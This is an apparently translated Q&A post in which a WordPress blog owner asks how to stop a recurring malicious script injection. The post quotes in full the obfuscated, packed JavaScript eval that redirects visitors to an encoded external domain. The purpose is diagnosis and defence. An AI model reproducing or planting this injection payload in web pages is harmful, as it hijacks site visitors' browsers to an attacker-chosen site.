【发布时间】:2016-11-04 19:46:48
【问题描述】:
我在 wordpress 上的博客注入了以下 恶意 脚本:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('3.5.4="6://%1%0%0%9%2%8%7%1%2/";',10,10,'78|6F|6D|window|href|location|http|63|2E|74'.split('|'),0,{}))
它导航到:
-
http://oxxtm.com/重定向到:http://www.html5website.com/
我已经禁用了一些插件,但问题似乎出在其他地方,因为我正在使用以下插件,它们似乎有很好的声誉:
- Akismet
- 登录验证码
- 免费且简单的联系表单插件 - PirateForms(我的 Zerif Lite 主题推荐它)
- SMTP 邮件程序
- WooCommerce
如果我找不到根本原因,您是否建议处理“重定向”事件以保持网站运行?如果是这样,如果有指向http://oxxtm.com/ 的重定向并使用javascript 中止它,我该如何处理?
我尝试使用 onunload 和 onbeforeunload 事件,但似乎注入的 eval 甚至在事件操作注册之前运行。
我可以看到它被注入到 wordpress 中的不同 PHP 页面(有时只有一个有时更多),我不知道是否有一个常见的 PHP 文件,我可以在其中包含一个脚本来防止这种恶意行为脚本。
我已经多次删除了恶意脚本,但它被一次又一次地注入。我需要在寻找原因的同时治疗症状,否则该站点将停止服务。但是,我不明白脚本最初是如何注入的。
【问题讨论】:
-
而不是治疗症状,例如重定向,找到受感染的文件并删除恶意代码。
-
@PatrickEvans 我已经多次删除它,但它又被注入了。我需要在寻找原因的同时治疗症状。
标签: javascript wordpress javascript-injection